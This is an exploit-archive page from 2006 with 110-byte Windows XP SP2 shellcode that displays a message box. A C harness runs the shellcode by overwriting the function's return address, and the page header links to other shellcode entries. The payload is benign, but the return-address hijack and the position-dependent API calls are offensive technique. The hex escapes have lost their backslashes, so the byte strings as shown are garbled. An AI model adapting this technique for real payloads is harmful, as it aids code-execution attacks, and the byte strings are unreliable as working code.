[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : win32/xp sp2 Pop up message box 110 bytes
# Published : 2006-01-24
# Author : Omega7
# Previous Title : linux/x86 execve /bin/sh anti-ids 40 bytes
# Next Title : linux/x86 execve /bin/sh (encoded by +1) 39 bytes


/*
Author : Omega7
Assembly Code : Steve Hanna
Changed by : Omega7
Description : It is 110 Byte Shellcode which Pops up Message Box Under Windows Xp SP2
If you Want to use it in any other Windows You need to change the address
that i have marked!

*/

#include <stdlib.h>
#include <string.h>

char shellcode[]=
"x31xc0x31xdbx31xc9x31xd2xebx37x59x88x51x0axbb"
"x77x1dx80x7c"    //***LoadLibraryA(libraryname) IN WinXP sp2***
"x51xffxd3xebx39x59x31xd2x88x51x0bx51x50xbb"
"x28xacx80x7c"   //***GetProcAddress(hmodule,functionname) IN sp2***
"xffxd3xebx39x59x31xd2x88x51x06x31xd2x52x51"
"x51x52xffxd0x31xd2x50xb8xa2xcax81x7cxffxd0xe8xc4xff"
"xffxffx75x73x65x72x33x32x2ex64x6cx6cx4exe8xc2xffxff"
"xffx4dx65x73x73x61x67x65x42x6fx78x41x4exe8xc2xffxff"
"xffx4fx6dx65x67x61x37x4e";

/*MessageBox shellcode for Windoew xp sp2 */

int main ()
{
int *ret;
ret=(int *)&ret+2;
printf("Shellcode Length is : %d",strlen(shellcode));
(*ret)=(int)shellcode;
return 0;
}

// www.Syue.com [2006-01-24]